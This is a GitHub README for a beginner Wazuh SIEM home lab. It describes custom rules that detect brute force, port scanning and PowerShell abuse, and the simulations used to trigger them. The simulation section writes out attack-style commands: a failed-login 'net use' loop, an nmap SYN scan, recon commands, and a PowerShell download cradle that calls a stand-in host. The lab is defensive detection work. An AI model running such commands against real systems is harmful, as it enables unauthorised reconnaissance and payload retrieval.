tw0cutzz/Wazuh-soc-lab
GitHub: tw0cutzz/Wazuh-soc-lab
这是一个面向初学者的 SOC 家庭实验室项目,演示如何部署 Wazuh SIEM 并编写针对暴力破解、PowerShell 滥用和侦察行为的自定义检测规则。
Stars: 1 | Forks: 0
# Wazuh SOC 家庭实验室
这是一个适合初学者的 SOC 分析师家庭实验室项目。我部署了一套 Wazuh SIEM 系统,连接了一台 Windows 10 agent,编写了自定义检测规则并模拟了真实攻击以进行测试。
## 我构建的内容
- 一台运行在 Ubuntu 24 Desktop 上的 Wazuh SIEM 服务器
- 一台作为 agent 连接到 Wazuh 的 Windows 10 虚拟机
- 针对常见攻击的自定义检测规则
- 用于验证规则有效性的攻击模拟
## 实验室环境配置
**机器:**
- **Wazuh Server** — Ubuntu 24 Desktop (VirtualBox VM)
- **Agent** — Windows 10 (VirtualBox VM)
**Windows 10 上安装的工具:**
- Wazuh Agent — 将日志发送到 Wazuh 服务器
- Sysmon (SwiftOnSecurity config) — 通过进程、文件和网络事件丰富 Windows 日志
**连接方式:**
Windows agent 从系统收集日志并将其转发到 Wazuh 服务器。服务器根据检测规则分析日志,并在发现可疑情况时触发告警。
## 收集的遥测数据
我将 Windows agent 配置为收集以下日志:
| Windows Security Logs | 登录、登录失败、权限使用 |
| Sysmon | 进程创建、文件事件、网络连接 |
| PowerShell Operational | 系统上执行的 PowerShell 命令 |
| Windows Defender | 防病毒检测和更新 |
| Windows System Logs | 服务更改和系统错误 |
此外,还启用了 PowerShell Script Block Logging,以便 Wazuh 能够查看在 PowerShell 中运行的确切命令。
## 自定义检测规则
所有规则位于 `rules/local_rules.xml` 中。我编写了 5 条自定义规则:
| Rule ID | 名称 | 严重性 | MITRE ATT&CK |
|---------|------|----------|--------------|
| 100001 | Windows 登录失败 | 5 | T1110 - Brute Force |
| 100002 | 检测到暴力破解(2 分钟内失败 5 次) | 10 | T1110 - Brute Force |
| 100003 | 检测到可能的端口扫描 | 8 | T1046 - Network Service Discovery |
| 100005 | 检测到 PowerShell 下载载体 | 12 | T1059.001 - PowerShell |
| 100006 | PowerShell 侦察命令 | 8 | T1059.001 - PowerShell |
**规则严重性等级:** 1-4 低,5-7 中,8-11 高,12+ 严重
## 攻击模拟
### 1. 暴力破解登录
使用带有虚假用户名和错误密码的 `net use` 命令,从 Windows 机器模拟了多次登录失败尝试。第一次失败时触发了 Rule 100001,在 2 分钟内失败 5 次后触发了 Rule 100002。
```
net use \\127.0.0.1\admin$ /user:fakeuser wrongpassword
```
### 2. 端口扫描
从 Ubuntu 机器对 Windows agent 运行 Nmap 扫描,以模拟侦察攻击。
```
nmap -sS -p 1-1000
```
### 3. PowerShell 侦察
在 PowerShell 内部运行常见的侦察命令,以模拟攻击者收集有关系统的信息。
```
whoami
net user
systeminfo
```
### 4. PowerShell 下载载体
模拟了一种常见的恶意软件技术,即使用 PowerShell 从互联网下载文件。
```
(New-Object Net.WebClient).DownloadString('http://test.com')
```
## 发现与告警
所有模拟攻击都在 Wazuh 仪表板中生成了告警。每个告警的截图位于 `screenshots/` 文件夹中。
| 攻击 | 触发告警 | Rule ID |
|--------|------------|---------|
| 登录失败 | 是 | 100001 |
| 暴力破解 | 是 | 100002 |
| PowerShell 侦察 | 是 | 100006 |
| PowerShell 下载载体 | 是 | 100005 |
## 误报与调优
在测试期间,Rule 92217(可执行文件放入 Windows 根文件夹)在一次合法的 Windows Defender 签名更新时触发:
```
C:\Windows\SoftwareDistribution\Download\Install\AM_Delta_Patch_1.445.713.0.exe
```
经调查,我确认这是一个由 Windows Update 下载 Defender 反恶意软件补丁引起的误报。
这是关于告警调查的一个很好的教训——并非每个告警都意味着实际攻击。
## 未来改进
- 添加 Suricata 用于网络层面的检测
- 集成 Active Directory 日志
- 设置 Wazuh Active Response 以自动封禁攻击 IP
- 运行 Atomic Red Team 以实现完整的 MITRE ATT&CK 覆盖
## 截图
所有截图均位于 `screenshots/` 文件夹中,包括:
- 带有告警的 Wazuh 仪表板
- 自定义规则文件
- 正在运行的攻击模拟
- Sysmon 和 Event Viewer 确认
作为学习 SOC 分析期间构建的作品集项目。所有攻击均在隔离的虚拟实验室环境中进行模拟。
标签:AI合规, CTI, Home Lab, OpenCanary, PoC, PowerShell 攻击, RFI远程文件包含, Sysmon, Wazuh, Windows 10, Windows 安全, 初级安全分析师, 安全运营中心, 家庭实验室, 插件系统, 攻击模拟, 数据统计, 暴力破解, 漏洞靶场, 端口扫描, 红队行动, 网络安全, 网络映射, 自定义规则, 防御检测, 隐私保护, 项目实战, 驱动签名利用